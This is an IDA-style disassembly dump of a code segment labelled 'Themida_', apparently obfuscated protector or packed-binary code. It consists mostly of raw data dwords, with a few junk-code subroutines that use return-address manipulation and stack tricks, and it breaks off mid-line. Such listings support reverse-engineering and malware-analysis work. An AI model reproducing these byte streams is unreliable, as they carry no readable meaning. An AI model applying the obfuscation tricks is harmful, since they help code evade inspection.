6A80C75h, 5BFA8B57h dd 880Dh, 0F9B70F00h, 5B9958Bh, 60F806A8h, 18019D8Bh, 8B6106A8h dd 0A814698Dh, 0B9B58906h, 5006A807h, 188BC28Bh, 188BC103h dd 0E8D1C18Bh, 188BC203h, 7BF3BB58h, 810F558Fh, 3, 83F98B66h dd 0A80C91BDh, 840F0006h, 78h, 0C2C32FBFh, 0B83Bh, 0B70F0000h dd 0AF8D8DDAh, 6A06A84Fh, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 16042444h, 41000000h, 0CA6DC351h, 4DF3819Fh dd 0BF6143AAh, 7C39CB09h, 6AE1FFh, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1B0424h, 51410000h, 610B39C3h, 0BB8444E8h dd 65B58926h, 5106A80Eh, 68F0Fh, 0BD890000h, 6A807F1h dd 0D88B665Fh, 0BBDBD83h, 0F0006A8h, 42684h, 4BBB6600h dd 0BDBD835Fh, 106A80Bh, 430840Fh, 0E7810000h, 5DB4643h dd 0BBDBD83h, 0F0306A8h, 3E786h, 0D59D2300h, 0E906A81Bh dd 12h, 6C935B82h, 66549C06h, 0BC75B7AFh, 1EADBB61h, 6A604B8Ah dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1D042444h dd 41000000h, 0C92FC351h, 74FCA19Ch, 3A7344B5h, 1DDD9589h dd 8C6606A8h, 53006AD9h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1704h, 0C3534300h, 0EAAF0324h, 4E180F8h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 0D9C35343h, 0EDE1140Eh dd 0C90AE474h, 14F840Fh, 8B660000h, 0E1858BFAh, 106A80Bh dd 0A820D1B5h, 5D853306h, 0F06A81Dh, 5750FFB7h, 895FD98Bh dd 880F2404h, 9, 38C0Fh, 8B660000h, 6A006AF9h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h dd 0A886C357h, 0E9DD4E9Bh, 13h, 12F4A230h, 0A17F9C7h, 0C9583EBh dd 0E9B96805h, 606C55BBh, 7298D8Bh, 0E86106A8h, 4, 1F03FFh dd 6050FA8Bh, 0F525050h, 5A585A31h, 8B61C38Bh, 52042444h dd 0AE9h, 6C76A900h, 0C22C17FBh, 5B37D00Bh, 0BB66008Bh dd 4489BF81h, 0E8500424h, 0Fh, 60A5AE26h, 0A237BD94h, 9C39C401h dd 8A5B83F1h, 585B5FD9h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 15h, 0FDC35646h, 4195FFB3h, 6006A807h, 0A59D8B60h dd 6106A82Fh, 8E9h, 1FFB3400h, 0EC0373BBh, 85896120h, 6A801C9h dd 0A2278589h, 6A06ABh, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 160424h, 55450000h, 0A58629C3h, 19AE9h, 56006A00h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h dd 0CDADD806h, 2B4C1A1Ch, 1F858B66h, 8106ABA2h, 0FD719FE7h dd 1800C715h, 0E8000000h, 0Bh, 0BE276309h, 212EAB9Eh, 8B17038Ch dd 0A81A599Dh, 0B58B5B06h, 6ABA223h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Bh, 0EC35747h, 0D91067E6h, 8BA8CF96h dd 0A82B7D85h, 51006A06h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1A04h, 0C3514100h, 0F6781626h, 89E66C73h dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h dd 0C3524200h, 8B5785AAh, 0A80BE185h, 4468906h, 16820Fh dd 0E9520000h, 0Fh, 323F68DBh, 55524A64h, 0ADF0FC3Dh, 5B8E03B5h dd 6A965096h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1A042444h, 40000000h, 0D933C350h, 2612AD67h, 1FB5FFA6h dd 6A06ABA2h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 18042444h, 41000000h, 91B4C351h, 2BFC5EAEh, 0A80C0D9Dh dd 298D0906h, 6806A822h, 0C05963C1h, 481D88Ah, 0C5A03E24h dd 0D381663Fh, 858D62B5h, 6ABA227h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 14h, 93C35040h, 5FBF5090h, 5F3869CFh dd 5FB66050h, 61C78B66h, 0DA8B6690h, 0FFD88B66h, 0A8074195h dd 0BD016006h, 6A80B89h, 2DD9858Bh, 616106A8h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 0EC35242h, 4D13A069h dd 0BBD85C7h, 306A8h, 830F0000h, 5, 0F3C78166h, 27BD83D8h dd 6ABA2h, 46840Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 140424h, 51410000h, 8D8942C3h, 6A833EDh dd 3AE9h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1704h, 0C3524200h, 0D6FF261Dh, 110C3050h, 1114400h dd 3010E8C1h, 21144h, 5803114Ch, 7504E983h, 5036EBE7h dd 110430h, 0C1011164h, 443010E8h, 64000211h, 83580311h dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h dd 30011164h, 0E9831104h, 0EBE77504h, 6AC08B00h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h dd 8D20C355h, 0B6B75AD8h, 0BD8BD259h, 6A82DB5h, 5C19D03h dd 83F806A8h, 0A80BBDBDh, 850F0306h, 3FEh, 25AD8D89h, 816606A8h dd 839FB8D7h, 0ABA227BDh, 840F0006h, 3E6h, 1A3DBD03h, 0B5FF06A8h dd 6ABA227h, 95FFD98Ah, 6A815F9h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Dh, 2C35747h, 1FE3CBCDh, 0BE7388D3h dd 94BB66B2h, 1BB58B80h, 0F06ABA2h, 8Fh, 106C700h, 6A000100h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 16042444h dd 42000000h, 0D696C352h, 0BD8BF9A6h, 6A8212Dh, 50D88B96h dd 6A96DA8Ah, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1D042444h, 47000000h, 4706C357h, 744FB07Fh, 8CA8019Eh dd 141DBD8Bh, 0B5FF06A8h, 6ABA227h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Bh, 0ACC35141h, 0D3CB5DAFh, 0BBB56AB4h dd 33CB6A8Ah, 0DE9h, 0AB680700h, 9B221680h, 98E17958h dd 95FF0C26h, 6A82199h, 8BA6C380h, 0ABA21BB5h, 3860F06h dd 0F000000h, 0BD0BFBBFh, 6A82761h, 0E41858Bh, 868906A8h dd 0C4h, 1058CB81h, 958B6CD2h, 6A805B9h, 0E857006Ah, 3 dd 5FC35F20h, 4247C89h, 4244481h, 16h, 6EC35747h, 0BD8BC322h dd 6A83389h, 6A04C283h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 16042444h, 45000000h, 1AD5C355h, 618D892Bh dd 8906A80Bh, 81662050h, 8D2969F7h, 0ABB7CE85h, 53006A06h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1904h, 0C3534300h dd 0F5F6D2AFh, 8689F986h, 0B8h, 6AFBBF0Fh, 50006A00h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1604h, 0C3504000h dd 0B3ED9D09h, 27B5FF3Bh, 6A06ABA2h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 26D7C353h dd 1AC59D23h, 5E906A8h, 81000000h, 853D7404h, 1E1D95FFh dd 6A06A8h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h dd 52420000h, 66300DC3h, 0BF0FFE8Bh, 0BE996FEh, 77000000h dd 6F17049Ah, 5348BBC6h, 8B503772h, 86BB96DAh, 0FF14DAE6h dd 0ABA227B5h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1904h, 0C3564600h, 852A6553h, 8B667CD7h dd 6995FFDAh dd 8B06A82Ah, 0A80F59BDh, 3DBD8306h, 6A82Eh, 59840Fh, 6A0000h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h dd 21FA29C3h, 0F1FCB960h, 0B5896B77h, 6A81E65h, 50FE8B61h dd 6A243489h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1B042444h, 41000000h, 8F5EC351h, 1BC7544Bh, 8166CD59h dd 0FF2F74DFh, 0ABA227B5h, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1404h, 0C3574700h, 9E887h, 2C6E0000h dd 0E891062Bh, 816E0254h, 0C8431BF7h, 8B665B22h, 8595FFF9h dd 8906A831h, 0A82671BDh, 27B5FF06h, 6A06ABA2h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h dd 6E90C350h, 0A2BB90D0h, 0C14C389Dh, 21159D2Bh, 95FF06A8h dd 6A80F55h, 83DBB70Fh, 0A8077DBDh, 840F0206h, 6Fh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 79C35646h, 9D822777h dd 0D6715B58h, 8BDBB70Fh, 0A80D1985h, 56006A06h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h dd 0D3A5B3D6h, 0CE8E8AEh, 0A1000000h, 31A6A9A5h, 0A77BBAD3h dd 89C1FDB7h, 0A81E798Dh, 0C65B06h, 6D950900h, 0C706A82Fh dd 0A80DC185h, 6, 8E900h, 0B54E0000h, 0A9CE6E66h, 0A5E9BA19h dd 89FFFFF3h, 0A81B5DBDh, 89C18B06h, 0A82FA59Dh, 20E906h dd 0A09B0000h, 4A7Bh, 6 dup(0) dd 0B7E90000h, 0A9000004h, 0E043C78Eh, 0FB0F6B3h, 399A2069h dd 69CA5015h, 0BA0185C8h, 377A1BF7h, 632E50F3h, 91D87C27h dd 0C28BAA15h, 0C07AE044h, 0B6049AC8h, 0BAD77CBAh, 0D6AEEA1Ch dd 0BB94AF57h, 3E632A4Ah, 41E44BEDh, 59FAAB08h, 0E2D9614h dd 3529A347h, 1B302597h, 766F2A47h, 0BDE04122h, 15B3AFF4h dd 0D25D5DEFh, 0C27AF58h, 58D1C6C2h, 593BCAFh, 73B0F59Ah dd 838A2B80h, 0B21DA9E0h, 0E44FDB92h, 20ED8140h, 0D05D3673h dd 9238EEC7h, 58D23068h, 0FF3912AFh, 36F3930Ch, 37739515h dd 0DAF58D2h, 3BE44922h, 817A5316h, 2FF0DD1Ch, 0F94D0428h dd 317E3756h, 58D1EE29h, 0D65F5CAFh, 0DF2DE8C4h, 4F0F12h dd 0FF100000h, 4E88155Ch, 0AF57D748h, 7E7C25B2h, 12DFD682h dd 165h, 52FFBE00h, 76EF08F6h, 0A49DA7FEh, 0CC89A67Fh dd 2B5DFB67h, 0AF5844EFh, 713E7AD5h, 0B81B98DDh, 783D51B2h dd 0D3DA5B30h, 8DCFFBBEh, 0DD6E8FF0h, 563C7CAAh, 83074EEDh dd 135EFFA4h, 3D78158Eh, 1B8431F0h, 0E83E7314h, 0C06D2447h dd 54F8395Fh, 6D158FCh, 524BD2ACh, 0FF543479h, 90B82436h dd 91DF12DFh, 60000000h, 0F7135EFFh, 0F523660Ch, 0A2EB8D16h dd 7C25967Dh, 0E3AECF30h, 64CB6DBEh, 0D2388EC3h, 9E1A53F1h dd 0F03D7011h, 43E3CC6Ah, 0D6C4C40Eh, 95BEAF57h, 0B3F69C03h dd 80218A6Eh, 0DFD47672h, 899112h, 0FFAA0000h, 0B4FD9B5Eh dd 5149F36Fh, 33AF57D7h, 0E9362F18h, 75B5D77Dh, 4FAF57D7h dd 8484C6E4h, 7EAF57D7h, 0B8DC43D5h, 0D78E8A3Ch, 4F7CAF57h dd 26930FE7h, 0BAA022h, 0AF58C708h, 8F7851FAh, 9C056E22h dd 5258F495h, 522300D6h, 664DD9B2h, 723B59BAh, 0E68BFC2Dh dd 8B2D7EA3h, 0E54A0F24h, 57D72265h, 0AAE381AFh, 0B2F5F505h dd 9DB7FE65h, 0E340092Ch, 0E7EEB71Ch, 88A10E4Bh, 4FD0C79Fh dd 0DF885743h, 1B612h, 0FF890000h, 0BBF69859h, 40F4C476h dd 0B7332862h, 0B7C1E5DEh, 0C600BA2Eh, 0AF5832C2h, 35F9780h dd 0A50692BEh, 931059FCh, 0F2BE674Ch, 0F73C7111h, 0E3400D2Eh dd 0C370D1CAh, 0A8001986h, 92286107h, 8A308B29h, 3BD970h dd 2380ABB6h, 1CAAE382h, 54D990B3h, 3C9492h, 2A8BE0B6h dd 0FD490023h, 357A3352h, 2380C96Ch, 676E379Ch, 9D398DC4h dd 1477B3A1h, 10744h, 0B5E7DF00h, 23AED80Eh, 0E1B60007h dd 1538E936h, 2FBBED4h, 31781B84h, 591033ECh, 0B3B02BADh dd 66C9D7AEh, 65CE5132h, 0DF96B5BCh, 9BF7E34Bh, 3C161477h dd 0E8000000h, 8A2E6B07h, 0BB6E7A1h, 0D74DADDFh, 1C372F57h dd 0D7535797h, 0EE452F57h, 0C2F52645h, 0DE7AEBA2h, 38110A97h dd 0D7207882h, 84E2AF57h, 57D74642h, 3A133CAFh, 9663ECh dd 0E7460000h, 0AED80EB5h, 0B6000ACFh, 387D12B5h, 9B04E24Fh dd 0DB73B0F9h, 1420A232h, 6ECAA38Fh, 5FEBA2C1h, 9B1851F4h dd 5F5253h, 6C35BEB6h, 86EC665h, 62327647h, 0E952E8C1h dd 0B0CAF04Bh, 0BCAD4FA5h, 0B66FB49Fh, 0D051DE97h, 0E9BAE7A2h dd 0B207E34Bh, 398D9A77h, 0F857E340h, 0BC19B837h, 1A40F4F3h dd 9ACBB58Bh, 0DE97B198h, 0B0DE0CE5h, 8FDBB326h, 0AD123D7Dh dd 0D22C07BCh, 47D17A42h, 5A37B681h, 7A38CC3h, 1D3BF69Ch dd 0E5DECF54h, 841E7B8h, 1433991Fh, 0D80EB5E7h, 49B97AEh dd 24C26DB6h, 4DD297BBh, 0B66FDC5Ch, 0E748DE97h, 0A6A00D44h dd 2DC054Bh, 2930F16Ah, 5CC7430Ah, 0F0BBD39h, 0F502DC05h dd 263C615Ah, 53D09DBDh, 3D51DE5Ah, 0CB6A3B78h, 49226B0Ah dd 541D3BE4h, 7132B9CFh, 2DF6DFE2h, 0F84E0726h, 307D3457h dd 863FA02Ah, 3EEEC3Fh, 0E6322B6Eh, 0F19h, 59BA3C00h, 227B733Ah dd 9AE65066h, 48332375h, 8C1158FFh, 0F4397013h, 0E340092Bh dd 0C06D2042h, 2E733E5Fh, 1499D475h, 7DA2E78Bh, 60CD84A4h dd 4AD792BFh, 4EC83FAh, 51241489h, 0C181E189h, 4, 4E981h dd 0C870000h, 0C895C24h, 0E3895324h, 4C381h, 0EB810000h dd 4, 5C241C87h, 52243489h, 790F6DBAh, 3BF2814Bh, 894DD5CBh dd 24148BD1h, 4C481h, 0DF680000h, 89000003h, 4812424h dd 424h, 89535E00h, 85E89CBh, 81241C8Bh, 4C4h, 24348B00h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push dword ptr [esp] pop ecx add esp, 4 jmp loc_5517CE ; --------------------------------------------------------------------------- dd 5037AB0Dh, 689A5350h, 7CB836C4h, 306ACC8h, 3FE0FFC5h dd 19161727h, 0C072A38Fh, 9F313024h, 675D50E6h, 837A87D1h dd 3160FD8Dh, 0E6797DD3h, 901AE7CAh, 715B59BBh, 7D4C3998h dd 191F1E91h, 361CD489h, 0F44A4CD2h, 0C66F85EFh, 227AA053h dd 0EB56AAE9h, 0DB096CB4h, 0B5CEBC1h, 0EB4E9EE1h, 22298491h dd 1E797C38h, 51607041h, 0CF7A7482h, 8D366943h, 0A8338585h dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h dd 0C3574700h, 230FE68h, 0CA3677B2h, 5752508Ah, 5B5B5F50h dd 6A240489h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 14042444h, 47000000h, 0E937C357h, 7, 0B9A3F4F9h, 6AEED422h dd 6A006A00h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 19042444h, 47000000h, 70C9C357h, 11350D0Eh, 5A1BD09h dd 858D06A8h, 6ACCBDFh, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Dh, 8AC35646h, 0C55C7E3Ah, 0B82F18F2h, 11E800h dd 2B460000h, 0D50C45A0h, 4D9E8818h, 8C22C15Eh, 0BFA6B6FAh dd 61C5ECB0h, 0B99D8B5Bh, 8306A80Fh, 0B50105C0h, 6A80AFDh dd 52505090h, 310FD98Bh, 585AD98Bh, 0D8B70F90h, 6A006Ah dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h dd 22632EC3h, 6AD37626h, 68D0F00h, 8B000000h, 0A81A819Dh dd 4195FF06h, 6A06A825h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1B042444h, 45000000h, 0F29FC355h, 3F6E595Ah dd 8D8D5978h, 6AB8C7Fh, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Ch, 0C2C35747h, 9CDD2FA3h, 49069375h, 987BF66h dd 0FFCFEB81h, 0D1FF4E65h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 18h, 0B2C35545h, 23E2E81Fh, 8300F380h, 0A8339DBDh dd 850F0106h, 0BCh, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Bh, 9FC35545h, 30526748h, 0E86448D6h, 12h dd 4DCE8AB3h, 6A68400Eh, 5C0F3021h, 29BDBEE4h, 0BB66CD9Dh dd 665B4911h, 6A5CBCBFh, 52006A02h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1B04h, 0C3524200h, 3A0AE4B8h, 5D1912FEh dd 1CD78166h, 5250501Eh, 11E8h, 0B7E23400h, 0C661414Eh dd 99221C35h, 3233E3FFh, 5F567630h, 0F310F5Bh, 283h, 5A5B5600h dd 24048958h, 0CE8h, 0BAC4EC00h, 58BADE26h, 322FD27Eh dd 0DA8B6674h, 2D9D295Fh, 0FF06A806h, 0A81E1D95h, 0F9BF0F06h dd 0DF8E9h, 0E800h, 815D0000h, 0ACCBE9EDh, 53006A06h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1904h, 0C3534300h dd 851D88ADh, 0D3801100h, 919D03C0h, 6006A82Ah, 0E91AB866h dd 14819D8Bh, 8D6106A8h, 0AB7E2E85h, 8D9D8B06h, 5006A802h dd 4896FB3h, 0C9BD2324h, 8906A801h, 0A81DF99Dh, 35FF6406h dd 0 ; --------------------------------------------------------------------------- sub di, 3ECDh mov large fs:0, esp mov bh, al inc dword ptr [ebp+6A833F1h] push 0 push ecx call sub_596677 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_596677 proc near ; CODE XREF: Themida_:0059666Fp arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 15h inc ecx push ecx retn sub_596677 endp ; --------------------------------------------------------------------------- db 16h dd 0BBFF6A75h, 515F1F87h, 2071B5FFh, 5E806A8h, 73000000h ; CODE XREF: Themida_:loc_5973B4j dd 14B8E316h, 1011BD89h, 0FF5F06A8h, 0A82A7D95h, 11AE906h dd 8D890000h, 6A80CA9h, 0BD8900B0h, 6A813E9h, 0BD8B70E6h dd 6A807C9h, 0BD8B71E4h, 6A82B91h, 830F613Ch, 0F4h, 0FDBBF0Fh dd 0BB66C8B6h, 6BADEDAh, 66000000h, 0DAF6D381h, 8B66C18Bh dd 4E8C1DAh, 3029BD8Bh, 0F76606A8h, 66E781E2h, 2B5B6E5Bh dd 38C0FC8h, 0F000000h, 0D18BD9BFh, 11E9h, 0FA8CA00h, 8F7E3FC4h dd 6E87006Bh, 7EAD9B1Dh, 0B70FBBEDh, 9EE9D9h, 8B660000h dd 1858BFBh, 89000000h, 0A8303DB5h, 7C08306h, 0C083F98Bh dd 18D8900h, 3B06A828h, 1D830FD0h, 0E9000000h, 10h, 44AD1982h dd 0D7C37E2Bh, 3438351Ah, 8A0AD42Eh, 5FE9h, 0F9BF0F00h dd 0FFFF8D8Bh, 0FE8FFFFh, 0BC000000h, 51A077CCh, 909A6B59h dd 0D6BBD405h, 8D01ACB1h, 6A81101h, 1E1835Bh, 32840Fh dd 880F0000h, 11h, 5E8h, 1E231900h, 9D8BBEA0h, 6A80E81h dd 0FFA5835Bh, 0FEFFFFFFh, 0F533BB66h, 19589h, 25BB0000h dd 0E95BC9E1h, 0 ; --------------------------------------------------------------------------- lea esi, [ebp+6AC420Eh] push 0 push eax call sub_5967DD and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5967DD proc near ; CODE XREF: Themida_:005967D5p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Ch inc eax push eax retn sub_5967DD endp ; --------------------------------------------------------------------------- pop ebp pop edx mov edx, 521991Ch sub ebx, [ecx-77h] popf xor dword ptr [ecx], 6AF506A8h add [ebx-57F93663h], cl push es mov di, 1EFh call dword ptr [ebp+6A81B31h] push 0 push eax call sub_59681A and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_59681A proc near ; CODE XREF: Themida_:00596812p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 15h inc eax push eax retn sub_59681A endp ; --------------------------------------------------------------------------- sbb [edx+0F7FB9h], esi add [edx+0], ch push eax call sub_59683C and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_59683C proc near ; CODE XREF: Themida_:00596834p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 19h inc eax push eax retn sub_59683C endp ; --------------------------------------------------------------------------- dd 0F1E60084h, 0BF663725h, 8B661068h, 0FCE183F9h, 2B18501h dd 9D8B06A8h, 6A82AF9h, 50006AFCh, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1504h, 0C3504000h, 9D8B3A19h, 6A80CBDh, 0B589C02Bh dd 6A82DD9h, 0BAh, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1704h, 0C3534300h, 11A0B9Ch, 0DD9D2351h dd 5B06A81Fh, 12860Fh, 66600000h, 7E8FB8Bh, 49000000h dd 6FEC608h, 615E11CEh, 0D1C233ADh, 83D003E8h, 0F47504E9h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h, 6C35040h dd 8D89F59Dh, 6A80E45h, 880Dh, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1D04h, 0C3514100h, 0D1C59572h dd 401E43B6h, 0CF812458h, 3C28672h, 27B1BD09h, 958B06A8h dd 6A805B9h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 17h, 0DAC35343h, 0E86C47ADh, 7, 50B68C3Eh, 89C38319h dd 0A82FB9BDh, 81665B06h, 8B7DF6DFh, 0A814698Dh, 50006A06h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h, 0C3504000h dd 450A9198h, 0DAB70FEEh, 8BC28B50h, 8BC10318h, 0D1C18B18h dd 8BC203E8h, 85895818h, 6A814DDh, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Bh, 8CC35343h, 8F8F63Fh, 5328282Fh dd 5BFABF0Fh, 91BD83F8h, 6A80Ch, 25840Fh, 9D8B0000h, 6A80C45h dd 0B8h, 8D8DF500h, 6A84FAFh, 341D9D8Bh, 0E1FF06A8h, 1B2D9D8Bh dd 26BB06A8h, 832587D2h, 0A80BBDBDh, 840F0006h, 48Eh, 58F0Fh dd 6EBB0000h, 832A6148h, 0A80BBDBDh, 840F0106h, 491h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 0D1C35242h, 0D3811219h dd 219D56C8h, 0D17892BBh, 0BDBD8374h, 306A80Bh, 425860Fh dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h dd 52420000h, 5EC911C3h, 8B136E25h, 0A81A999Dh, 8D016006h dd 6A81761h, 80D98C66h, 6A04E1h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 150424h, 56460000h, 0FC3D4C3h, 68Ch, 35B58900h dd 0A06A81Bh, 54840FC9h, 8B000001h, 0A80BE185h, 56006A06h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h dd 34D84799h, 0FCF17F8Eh, 899529A4h, 3306A81Fh, 0A81D5D85h dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1B04h dd 0C3554500h, 3A33CB7Dh, 0F87FBFEDh, 870AEF81h, 0F88A3F41h dd 48D0F50h, 66000000h, 893EE6BBh, 6A2404h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 160424h, 57470000h, 4DA063C3h dd 9D8B006Ah, 6A81F35h, 8C0Fh, 0D2680000h, 0E8FE7D1Ch dd 10h, 0CBEE4F4Ah, 0DB5D7F4Ah, 0E5AC9F5h, 0FF44F157h dd 132DBF66h, 2404815Bh, 1A1E72Dh, 1B95BD31h, 95FF06A8h dd 6A80741h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 16h, 0EEC35242h, 0F88B1892h, 895AEB80h, 0A828A995h dd 27858906h, 6A06ABA2h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1D042444h, 40000000h, 16CDC350h, 9E375955h dd 0EBE63A62h, 14E8h, 0B26E100h, 77C40754h, 0D943E788h dd 111A3B97h, 0EF32E06Ah, 8C0FD8h, 5F000000h, 204E9h, 9D896000h dd 6A820E5h, 19858589h, 8B6106A8h, 0ABA21F85h, 56006A06h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h, 0C3564600h dd 21DDF07h, 7E9h, 98C63A00h, 0A1A8FCD5h, 1800C7h, 6A0000h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h dd 5B51B8C3h, 0A223B58Bh, 6A06ABh, 3E850h, 58200000h, 448958C3h dd 44810424h, 160424h, 50400000h, 0C3600AC3h, 3D9D89h dd 858B06A8h, 6A82B7Dh, 14FD8589h, 68906A8h, 0CE98D89h dd 858B06A8h, 6A80BE1h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 15h, 0B8C35343h, 8EBF660Ch, 44689A8h, 1E880Fh dd 13E80000h, 87000000h, 1830D41Ch, 8213DFDDh, 4D264B51h dd 82B6FEF6h, 8166EAD6h, 5BE6E2D7h, 0FB8B6650h, 0FF243489h dd 0ABA21FB5h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1D04h, 0C3564600h, 50452C70h, 3F0868FEh dd 9D23DF92h, 6A80FC1h, 3B868768h, 14E986h, 81430000h dd 0ADD949A5h, 2CF9004h, 1298BDE7h, 0ED3F4923h, 48168B2h dd 0E37D7824h, 83C7BB79h, 858D6D2Dh, 6ABA227h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 1FC35545h, 9F0013C5h dd 1A332BA7h, 0DE999h, 958F0000h, 2C52CF0h, 5FB33035h dd 90BE9E5Bh, 7E9h, 209A1B00h, 55B151C8h, 8E850h, 5D240000h dd 4784D022h, 905B3A1Dh, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 17h, 0CFC35747h, 0FF558855h, 0A8074195h, 52006A06h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h, 0C3524200h dd 8B2DE595h, 0FE9F8h, 0FF130000h, 54D520BDh, 41CF2579h dd 1207C290h, 880F6108h, 15h, 10E9h, 0C9A2AF00h, 11D1A6C9h dd 0AB51A57h, 0E9CEAE81h, 0BD85C732h, 306A80Bh, 6A000000h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 14042444h dd 45000000h, 0B7D1C355h, 7E9FBh, 0C2240000h, 18DDD3h dd 27BD832Ah, 6ABA2h, 19840Fh, 0B5890000h, 6A80579h, 29E9h dd 9D016000h, 6A819F5h, 0D9C7E681h, 506107BCh, 110C30h dd 0C1011144h, 443010E8h, 4C000211h, 83580311h, 0E77504E9h dd 305036EBh, 64001104h, 0E8C10111h, 11443010h, 11640002h dd 0E9835803h, 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h dd 64285802h, 4300111h, 4E98311h, 0EBE775h, 0ADB7C08Bh dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 0B0C35646h dd 33D792A7h, 0DB3AE906h, 0E18501D8h, 8306A829h, 0A80BBDBDh dd 850F0306h, 490h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 14h, 0F9C35141h, 24D6E781h, 0BD830B72h, 6ABA227h dd 61840F00h, 6A000004h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1B042444h, 45000000h, 0BFB1C355h, 0A71D6213h dd 0BD8B1EB9h, 6A81101h, 0A227B5FFh, 6A06ABh, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 150424h, 51410000h, 0F9E493C3h dd 15F995FFh, 10E906A8h, 0B0000000h, 433F3F8Bh, 6309A631h dd 0AB9EBE27h, 8B8C212Eh, 0ABA21BB5h, 2DBB6606h, 71B5890Dh dd 0C706A817h, 1000106h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1904h, 0C3534300h, 968BD9BFh, 8E0F2CD9h dd 5, 0B1EE06BBh, 0D59D314Fh, 9606A81Bh, 4860Fh, 0BB660000h dd 